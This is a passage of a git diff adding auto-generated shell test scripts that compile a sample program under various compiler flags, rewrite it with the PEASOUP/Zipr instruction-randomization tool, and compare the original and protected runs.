+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..cc989bc405e8b5505d0830a1235aa7326eb50785
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a9d7aef81b29d77e2fedc47a73ed67fac02eabf0
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O2.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O2       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O2       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..cd5b728e086eac24aa8003ef775807beed4eaa6b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3 -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3 -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..dc38ab4aee87c972a94746e8e0b227029c0998c3
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3 -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3 -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..97407cf73a011970f1df402b02c3eb8446d1f225
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3 -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3 -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..6254709b62e3958694f458db3785c394f349f31a
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.-O3.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3 -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3 -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
